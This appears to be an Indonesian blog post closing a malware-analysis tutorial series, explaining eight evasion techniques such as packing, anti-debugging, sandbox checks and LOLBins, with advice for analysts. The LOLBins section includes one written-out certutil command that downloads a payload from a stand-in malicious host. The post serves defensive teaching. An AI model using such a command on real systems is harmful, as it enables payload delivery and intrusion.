Malware Analysis Fundamentals #09: Teknik Evasion yang Wajib Diwaspadai Analis Malware
Penutup seri Malware Analysis Fundamentals: delapan teknik evasion yang wajib diwaspadai — packing, obfuscation, anti-debugging, sandbox check, delayed execution, process injection, LOLBins, dan encrypted C2.
Pendahuluan
Ini adalah bagian penutup seri Malware Analysis Fundamentals. Setelah delapan bagian sebelumnya membahas cara menganalisis malware secara sistematis, penting untuk menutup seri ini dengan kenyataan pahit: penulis malware juga tahu bahwa mereka sedang dianalisis, dan mereka merancang sampelnya untuk melawan balik proses analisis itu sendiri.
Delapan teknik evasion di bawah ini adalah yang paling umum ditemui di lapangan.
Packing dan Encryption
Packer membungkus payload asli dalam lapisan kompresi atau enkripsi, yang baru dibuka (unpack) saat runtime. Tujuannya sederhana: membuat static analysis (bagian #05) hampir tidak berguna karena kode asli tidak terlihat langsung di disk.
Obfuscation
Berbeda dari packing yang membungkus keseluruhan payload, obfuscation mengacak-acak kode itu sendiri — nama variabel yang tidak bermakna, control flow yang dibuat berbelit sengaja, atau string yang dienkripsi satu per satu. Tool seperti FLOSS (bagian #05) dirancang khusus untuk melawan teknik obfuscation string ini.
Anti-Debugging
Malware sering menyisipkan pengecekan untuk mendeteksi apakah dirinya sedang dijalankan di bawah debugger (seperti x64dbg atau WinDbg). Jika terdeteksi, malware bisa langsung keluar, crash secara sengaja, atau bahkan menjalankan perilaku palsu yang menyesatkan analis.
Contoh teknik anti-debugging umum:
- Memeriksa flag IsDebuggerPresent (Windows API)
- Mengukur timing eksekusi (debugger membuat eksekusi lebih lambat)
- Memeriksa breakpoint software (INT3) di kode sendiri
Sandbox dan VM Checks
Sebelum menjalankan payload utamanya, malware sering memeriksa apakah dirinya berjalan di mesin virtual atau sandbox analisis:
- Memeriksa nama proses, driver, atau registry khas VMware/VirtualBox
- Memeriksa jumlah core CPU atau ukuran RAM (sandbox sering dikonfigurasi minimal)
- Memeriksa artefak khas sandbox otomatis (nama file umum, mouse yang tidak pernah bergerak)
Jika terdeteksi, malware bisa memilih untuk diam total dan tidak menunjukkan perilaku apa pun — inilah kenapa sesi sandbox yang "bersih" tidak selalu berarti sampel aman.
Delayed Execution
Beberapa malware sengaja menunda eksekusi perilaku berbahayanya selama beberapa menit, jam, bahkan hari. Sandbox otomatis biasanya hanya menjalankan sampel selama beberapa menit, sehingga teknik ini efektif melewati deteksi otomatis yang tidak sabar menunggu.
Process Injection
Menyisipkan kode berbahaya ke dalam proses lain yang sah (seperti explorer.exe atau svchost.exe) agar aktivitas malware "bersembunyi" di balik proses yang tampak normal. Teknik ini sudah dibahas indikatornya di bagian #06 (area process tree dan injection).
LOLBins (Living-off-the-Land Binaries)
LOLBins adalah tool bawaan sistem operasi yang sah (seperti certutil.exe, mshta.exe, atau rundll32.exe) yang disalahgunakan untuk menjalankan aktivitas berbahaya. Karena binary-nya sendiri legit dan bertanda tangan digital resmi, teknik ini sangat efektif melewati deteksi berbasis signature maupun allowlisting aplikasi.
Contoh penyalahgunaan LOLBins:
certutil.exe -urlcache -f http://malicious[.]site/payload.exe payload.exe
Encrypted C2
Komunikasi command-and-control yang dienkripsi (biasanya lewat HTTPS/TLS, kadang dengan lapisan enkripsi tambahan di dalamnya) menyulitkan inspeksi trafik jaringan berbasis konten. Analis harus mengandalkan pola metadata — ukuran paket, interval beacon, sertifikat yang dipakai — alih-alih isi trafik itu sendiri.
Kenapa Ini Semua Penting Diingat
Kembali ke prinsip yang sudah disinggung sejak bagian #01 seri ini: satu kali sesi sandbox yang bersih tidak membuktikan sebuah sampel itu aman. Delapan teknik di atas dirancang khusus untuk membuat analisis otomatis dan analisis manual yang terburu-buru salah menyimpulkan.
Praktik terbaik untuk melawan evasion:
- Jalankan sampel lebih dari sekali, dengan durasi observasi yang lebih panjang
- Konfigurasikan sandbox senatural mungkin (RAM, core CPU, dan aktivitas pengguna simulasi yang realistis)
- Kombinasikan static dan behavioral analysis — jangan mengandalkan satu pendekatan saja
- Tetap curigai sampel yang "terlalu bersih" hasil sandbox-nya, terutama jika static analysis menunjukkan indikasi packer atau anti-analysis check
Penutup Seri
Sampai di sini, seri Malware Analysis Fundamentals sudah mencakup perjalanan lengkap: dari definisi dasar malware (#01), tujuan analisis (#02), klasifikasi jenis-jenisnya (#03), alur kerja yang aman (#04), static & code analysis (#05), behavioral & memory analysis (#06), membangun lab yang aman (#07), bukti digital yang wajib dikumpulkan (#08), sampai teknik evasion yang harus diwaspadai (#09).
Prinsip yang menghubungkan semuanya sederhana: analisis perilaku, bukan cuma file-nya. Konteks, bukti, dan repeatability adalah yang mengubah satu sampel malware menjadi actionable intelligence bagi seluruh tim keamanan.
Selamat menganalisis — dan selalu lakukan di lab yang aman.
Post Terkait
Malware Analysis Fundamentals #08: Bukti Digital yang Wajib Dikumpulkan Saat Analisis Malware
Checklist lengkap bukti digital yang wajib dikumpulkan saat analisis malware: hash, IOC jaringan (domain, IP, sertifikat...
Malware Analysis Fundamentals #07: Membangun Lab Analisis Malware yang Aman
Panduan membangun lab analisis malware yang aman: isolated VM, snapshot, jaringan host-only/simulasi, mematikan shared c...
Malware Analysis Fundamentals #06: Behavioral & Memory Analysis — Mengamati Perilaku Malware Secara Langsung
Tutorial behavioral & memory analysis malware: mengamati process tree, perubahan file/registry, persistence, trafik C2,...